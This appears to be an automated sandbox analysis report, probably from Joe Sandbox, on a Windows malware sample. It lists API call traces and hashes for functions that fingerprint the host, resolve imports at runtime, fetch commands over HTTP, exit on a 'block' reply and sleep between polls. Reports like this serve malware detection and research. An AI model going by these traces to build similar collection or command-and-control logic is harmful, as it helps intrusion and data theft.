GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D97910
RtlAllocateHeap.NTDLL(00000000), ref: 00D97917
GetComputerNameA.KERNEL32(?,00000104), ref: 00D9792F

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 453f3a359d03786f7d35f922f500e3d2e9d279654fa38d1a7e4415702f521773
Instruction ID: 44df43bc05b7bd7dd2d9be3f9429d910ea3f11a609bad2c7ab9ea2e20c034aef
Opcode Fuzzy Hash: 453f3a359d03786f7d35f922f500e3d2e9d279654fa38d1a7e4415702f521773
Instruction Fuzzy Hash: 3A0186B1A04208EFDB00DF94DD45FAABBB8F704B15F10421AF545E3280C37459048BA1

Function 00D97850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D811B7), ref: 00D97880
RtlAllocateHeap.NTDLL(00000000), ref: 00D97887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00D9789F

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: c59a3191af30aeb1acfafba679dd5cecd95e3a311e0bfc1e71eb2c23b5d99c40
Instruction ID: 17ecaabf1d6bb87b01dd48362603cecefbd46f50e32aa15fd899ead3b87fbc18
Opcode Fuzzy Hash: c59a3191af30aeb1acfafba679dd5cecd95e3a311e0bfc1e71eb2c23b5d99c40
Instruction Fuzzy Hash: C5F04FB1D4420CAFCB00DF99DE4AFAEBBB8FB04715F10025AFA05A3680C77865048BA1

Function 00D81160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00D8116A
ExitProcess.KERNEL32 ref: 00D8117E

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0fcca09766275cbdfb78f1ee86af3117af6fab930dc845c84596fa4c290a1ecb
Instruction ID: f0672c6e0d0638c840ad8a404af8178a14b08d1eec9a559d3bdc41a9f5720371
Opcode Fuzzy Hash: 0fcca09766275cbdfb78f1ee86af3117af6fab930dc845c84596fa4c290a1ecb
Instruction Fuzzy Hash: D2D0677490430C9BCB04ABA5998EA9DBBB8FB08615F101555D90562340EA3165968AA6

Function 00D99C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01815850), ref: 00D99C2D
GetProcAddress.KERNEL32(74DD0000,018159F0), ref: 00D99C45
GetProcAddress.KERNEL32(74DD0000,018296B8), ref: 00D99C5E
GetProcAddress.KERNEL32(74DD0000,018296D0), ref: 00D99C76
GetProcAddress.KERNEL32(74DD0000,01829658), ref: 00D99C8E
GetProcAddress.KERNEL32(74DD0000,01829610), ref: 00D99CA7
GetProcAddress.KERNEL32(74DD0000,0181B6A8), ref: 00D99CBF
GetProcAddress.KERNEL32(74DD0000,0182D290), ref: 00D99CD7
GetProcAddress.KERNEL32(74DD0000,0182D218), ref: 00D99CF0
GetProcAddress.KERNEL32(74DD0000,0182D230), ref: 00D99D08
GetProcAddress.KERNEL32(74DD0000,0182D398), ref: 00D99D20
GetProcAddress.KERNEL32(74DD0000,01815790), ref: 00D99D39
GetProcAddress.KERNEL32(74DD0000,01815A10), ref: 00D99D51
GetProcAddress.KERNEL32(74DD0000,018157B0), ref: 00D99D69
GetProcAddress.KERNEL32(74DD0000,01815A30), ref: 00D99D82
GetProcAddress.KERNEL32(74DD0000,0182D0F8), ref: 00D99D9A
GetProcAddress.KERNEL32(74DD0000,0182D158), ref: 00D99DB2
GetProcAddress.KERNEL32(74DD0000,0181B888), ref: 00D99DCB
GetProcAddress.KERNEL32(74DD0000,018156F0), ref: 00D99DE3
GetProcAddress.KERNEL32(74DD0000,0182D2D8), ref: 00D99DFB
GetProcAddress.KERNEL32(74DD0000,0182D350), ref: 00D99E14
GetProcAddress.KERNEL32(74DD0000,0182D2F0), ref: 00D99E2C
GetProcAddress.KERNEL32(74DD0000,0182D3C8), ref: 00D99E44
GetProcAddress.KERNEL32(74DD0000,01815A70), ref: 00D99E5D
GetProcAddress.KERNEL32(74DD0000,0182D308), ref: 00D99E75
GetProcAddress.KERNEL32(74DD0000,0182D338), ref: 00D99E8D
GetProcAddress.KERNEL32(74DD0000,0182D278), ref: 00D99EA6
GetProcAddress.KERNEL32(74DD0000,0182D248), ref: 00D99EBE
GetProcAddress.KERNEL32(74DD0000,0182D1A0), ref: 00D99ED6
GetProcAddress.KERNEL32(74DD0000,0182D188), ref: 00D99EEF
GetProcAddress.KERNEL32(74DD0000,0182D260), ref: 00D99F07
GetProcAddress.KERNEL32(74DD0000,0182D3E0), ref: 00D99F1F
GetProcAddress.KERNEL32(74DD0000,0182D2A8), ref: 00D99F38
GetProcAddress.KERNEL32(74DD0000,0182A4E0), ref: 00D99F50
GetProcAddress.KERNEL32(74DD0000,0182D170), ref: 00D99F68
GetProcAddress.KERNEL32(74DD0000,0182D110), ref: 00D99F81
GetProcAddress.KERNEL32(74DD0000,018157F0), ref: 00D99F99
GetProcAddress.KERNEL32(74DD0000,0182D320), ref: 00D99FB1
GetProcAddress.KERNEL32(74DD0000,01815730), ref: 00D99FCA
GetProcAddress.KERNEL32(74DD0000,0182D368), ref: 00D99FE2
GetProcAddress.KERNEL32(74DD0000,0182D1E8), ref: 00D99FFA
GetProcAddress.KERNEL32(74DD0000,018157D0), ref: 00D9A013
GetProcAddress.KERNEL32(74DD0000,01815DB0), ref: 00D9A02B
LoadLibraryA.KERNEL32(0182D380,?,00D95CA3,00DA0AEB,?,?,?,?,?,?,?,?,?,?,00DA0AEA,00DA0AE3), ref: 00D9A03D
LoadLibraryA.KERNEL32(0182D1D0,?,00D95CA3,00DA0AEB,?,?,?,?,?,?,?,?,?,?,00DA0AEA,00DA0AE3), ref: 00D9A04E
LoadLibraryA.KERNEL32(0182D2C0,?,00D95CA3,00DA0AEB,?,?,?,?,?,?,?,?,?,?,00DA0AEA,00DA0AE3), ref: 00D9A060
LoadLibraryA.KERNEL32(0182D3B0,?,00D95CA3,00DA0AEB,?,?,?,?,?,?,?,?,?,?,00DA0AEA,00DA0AE3), ref: 00D9A072
LoadLibraryA.KERNEL32(0182D128,?,00D95CA3,00DA0AEB,?,?,?,?,?,?,?,?,?,?,00DA0AEA,00DA0AE3), ref: 00D9A083
LoadLibraryA.KERNEL32(0182D140,?,00D95CA3,00DA0AEB,?,?,?,?,?,?,?,?,?,?,00DA0AEA,00DA0AE3), ref: 00D9A095
LoadLibraryA.KERNEL32(0182D1B8,?,00D95CA3,00DA0AEB,?,?,?,?,?,?,?,?,?,?,00DA0AEA,00DA0AE3), ref: 00D9A0A7
LoadLibraryA.KERNEL32(0182D200,?,00D95CA3,00DA0AEB,?,?,?,?,?,?,?,?,?,?,00DA0AEA,00DA0AE3), ref: 00D9A0B8
GetProcAddress.KERNEL32(75290000,01815E10), ref: 00D9A0DA
GetProcAddress.KERNEL32(75290000,0182D410), ref: 00D9A0F2
GetProcAddress.KERNEL32(75290000,01829068), ref: 00D9A10A
GetProcAddress.KERNEL32(75290000,0182D3F8), ref: 00D9A123
GetProcAddress.KERNEL32(75290000,01815CF0), ref: 00D9A13B
GetProcAddress.KERNEL32(73440000,0181B810), ref: 00D9A160
GetProcAddress.KERNEL32(73440000,01815CB0), ref: 00D9A179
GetProcAddress.KERNEL32(73440000,0181B860), ref: 00D9A191
GetProcAddress.KERNEL32(73440000,0182D4D0), ref: 00D9A1A9
GetProcAddress.KERNEL32(73440000,0182D4E8), ref: 00D9A1C2
GetProcAddress.KERNEL32(73440000,01815B50), ref: 00D9A1DA
GetProcAddress.KERNEL32(73440000,01815AD0), ref: 00D9A1F2
GetProcAddress.KERNEL32(73440000,0182D518), ref: 00D9A20B
GetProcAddress.KERNEL32(752C0000,01815AB0), ref: 00D9A22C
GetProcAddress.KERNEL32(752C0000,01815BD0), ref: 00D9A244
GetProcAddress.KERNEL32(752C0000,0182D428), ref: 00D9A25D
GetProcAddress.KERNEL32(752C0000,0182D500), ref: 00D9A275
GetProcAddress.KERNEL32(752C0000,01815BF0), ref: 00D9A28D
GetProcAddress.KERNEL32(74EC0000,0181B8B0), ref: 00D9A2B3
GetProcAddress.KERNEL32(74EC0000,0181B838), ref: 00D9A2CB
GetProcAddress.KERNEL32(74EC0000,0182D440), ref: 00D9A2E3
GetProcAddress.KERNEL32(74EC0000,01815CD0), ref: 00D9A2FC
GetProcAddress.KERNEL32(74EC0000,01815B70), ref: 00D9A314
GetProcAddress.KERNEL32(74EC0000,0181BA68), ref: 00D9A32C
GetProcAddress.KERNEL32(75BD0000,0182D578), ref: 00D9A352
GetProcAddress.KERNEL32(75BD0000,01815B90), ref: 00D9A36A
GetProcAddress.KERNEL32(75BD0000,01828F28), ref: 00D9A382
GetProcAddress.KERNEL32(75BD0000,0182D488), ref: 00D9A39B
GetProcAddress.KERNEL32(75BD0000,0182D4A0), ref: 00D9A3B3
GetProcAddress.KERNEL32(75BD0000,01815D10), ref: 00D9A3CB
GetProcAddress.KERNEL32(75BD0000,01815BB0), ref: 00D9A3E4
GetProcAddress.KERNEL32(75BD0000,0182D4B8), ref: 00D9A3FC
GetProcAddress.KERNEL32(75BD0000,0182D530), ref: 00D9A414
GetProcAddress.KERNEL32(75A70000,01815C10), ref: 00D9A436
GetProcAddress.KERNEL32(75A70000,0182D548), ref: 00D9A44E
GetProcAddress.KERNEL32(75A70000,0182D560), ref: 00D9A466
GetProcAddress.KERNEL32(75A70000,0182D458), ref: 00D9A47F
GetProcAddress.KERNEL32(75A70000,0182D590), ref: 00D9A497
GetProcAddress.KERNEL32(75450000,01815D30), ref: 00D9A4B8
GetProcAddress.KERNEL32(75450000,01815DF0), ref: 00D9A4D1
GetProcAddress.KERNEL32(75DA0000,01815AF0), ref: 00D9A4F2
GetProcAddress.KERNEL32(75DA0000,0182D5A8), ref: 00D9A50A
GetProcAddress.KERNEL32(6F070000,01815D70), ref: 00D9A530
GetProcAddress.KERNEL32(6F070000,01815C30), ref: 00D9A548
GetProcAddress.KERNEL32(6F070000,01815DD0), ref: 00D9A560
GetProcAddress.KERNEL32(6F070000,0182D470), ref: 00D9A579
GetProcAddress.KERNEL32(6F070000,01815D50), ref: 00D9A591
GetProcAddress.KERNEL32(6F070000,01815C90), ref: 00D9A5A9
GetProcAddress.KERNEL32(6F070000,01815D90), ref: 00D9A5C2
GetProcAddress.KERNEL32(6F070000,01815E30), ref: 00D9A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 00D9A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 00D9A607
GetProcAddress.KERNEL32(75AF0000,0182D098), ref: 00D9A629
GetProcAddress.KERNEL32(75AF0000,01828F78), ref: 00D9A641
GetProcAddress.KERNEL32(75AF0000,0182CF00), ref: 00D9A659
GetProcAddress.KERNEL32(75AF0000,0182CFD8), ref: 00D9A672
GetProcAddress.KERNEL32(75D90000,01815B10), ref: 00D9A693
GetProcAddress.KERNEL32(6E460000,0182D0E0), ref: 00D9A6B4
GetProcAddress.KERNEL32(6E460000,01815E50), ref: 00D9A6CD
GetProcAddress.KERNEL32(6E460000,0182CFF0), ref: 00D9A6E5
GetProcAddress.KERNEL32(6E460000,0182CF78), ref: 00D9A6FD

Strings

HttpQueryInfoA, xrefs: 00D9A5FC
InternetSetOptionA, xrefs: 00D9A5E5

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 748b6ab001c3c9d6d3eacdfb56cb2ae282620028988d3bff4b03c208746d76ea
Instruction ID: 9469d133bfa8a8061d15005e8a1871c5a9c148f0efa731c6fd3298f29ed29713
Opcode Fuzzy Hash: 748b6ab001c3c9d6d3eacdfb56cb2ae282620028988d3bff4b03c208746d76ea
Instruction Fuzzy Hash: A3622AB650020CAFC344DFA8FF8AD5637F9FB8C609714851AA609C3264D639B851FF66

Function 00D86280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D9A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D9A7E6

Part of subcall function 00D847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D84839
Part of subcall function 00D847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D84849

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

InternetOpenA.WININET(00DA0DFE,00000001,00000000,00000000,00000000), ref: 00D862E1
StrCmpCA.SHLWAPI(?,0182EB68), ref: 00D86303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D86335
HttpOpenRequestA.WININET(00000000,GET,?,0182E1B0,00000000,00000000,00400100,00000000), ref: 00D86385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00D863BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D863D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00D863FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00D8646D
InternetCloseHandle.WININET(00000000), ref: 00D864EF
InternetCloseHandle.WININET(00000000), ref: 00D864F9
InternetCloseHandle.WININET(00000000), ref: 00D86503

Strings

ERROR, xrefs: 00D86407
ERROR, xrefs: 00D864C9
GET, xrefs: 00D8637C

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 7d2c0cadda76ea938d9ce8c8b0c7c54c135e45147b2a02bf59865c3173ff7ca2
Instruction ID: 9d94749a781cc0d94fb0f97a30e02f6703913ad342b162db16031b8fb60ef6f1
Opcode Fuzzy Hash: 7d2c0cadda76ea938d9ce8c8b0c7c54c135e45147b2a02bf59865c3173ff7ca2
Instruction Fuzzy Hash: 3B711C71A00218ABDF14EBA4DC4AFEE7778FF44714F108198F5096B190DBB4AA85DFA1

Function 00D95510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D9A820: lstrlen.KERNEL32(00D84F05,?,?,00D84F05,00DA0DDE), ref: 00D9A82B
Part of subcall function 00D9A820: lstrcpy.KERNEL32(00DA0DDE,00000000), ref: 00D9A885

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D95644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D956A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D95857

Part of subcall function 00D9A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D9A7E6

Part of subcall function 00D951F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D95228

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

Part of subcall function 00D952C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D95318
Part of subcall function 00D952C0: lstrlen.KERNEL32(00000000), ref: 00D9532F
Part of subcall function 00D952C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00D95364
Part of subcall function 00D952C0: lstrlen.KERNEL32(00000000), ref: 00D95383
Part of subcall function 00D952C0: lstrlen.KERNEL32(00000000), ref: 00D953AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D9578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D95940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D95A0C
Sleep.KERNEL32(0000EA60), ref: 00D95A1B

Strings

ERROR, xrefs: 00D95693
ERROR, xrefs: 00D95932
ERROR, xrefs: 00D959FE
ERROR, xrefs: 00D95849
ERROR, xrefs: 00D9577D
ERROR, xrefs: 00D95636

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 0e02d6c38d4fe63957089b3b50b58b565b489652825bbf356afccbc74d0acccd
Instruction ID: 8bfd17bb8d894846f8fb02352f78a31446366ff22ea70798b1c0b69f02a0ea99
Opcode Fuzzy Hash: 0e02d6c38d4fe63957089b3b50b58b565b489652825bbf356afccbc74d0acccd
Instruction Fuzzy Hash: FFE10C76920118AACF14FBA4ED57EED7378EF54300F508568B50667095EE34AA0DCBF2

Function 00D917A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00D917C5
ExitProcess.KERNEL32 ref: 00D917D1

Strings

block, xrefs: 00D917B7

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: a139e4e47615eec0725bb32468e635276966a09637b28ebbf40a6d63f08dc9a3
Instruction ID: 007a8503c6dcf78a3eceb4d74978af5d26b0a47dfd1533e0fa7c38460cb066da
Opcode Fuzzy Hash: a139e4e47615eec0725bb32468e635276966a09637b28ebbf40a6d63f08dc9a3
Instruction Fuzzy Hash: 595125B9A0420AFFCF04DFA4DA55BBE7BB5AF44704F208048E816A7280D770E955DB72

Function 00D97500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00D97542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D9757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D97603
RtlAllocateHeap.NTDLL(00000000), ref: 00D9760A
wsprintfA.USER32 ref: 00D97640

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Strings

C, xrefs: 00D9754C
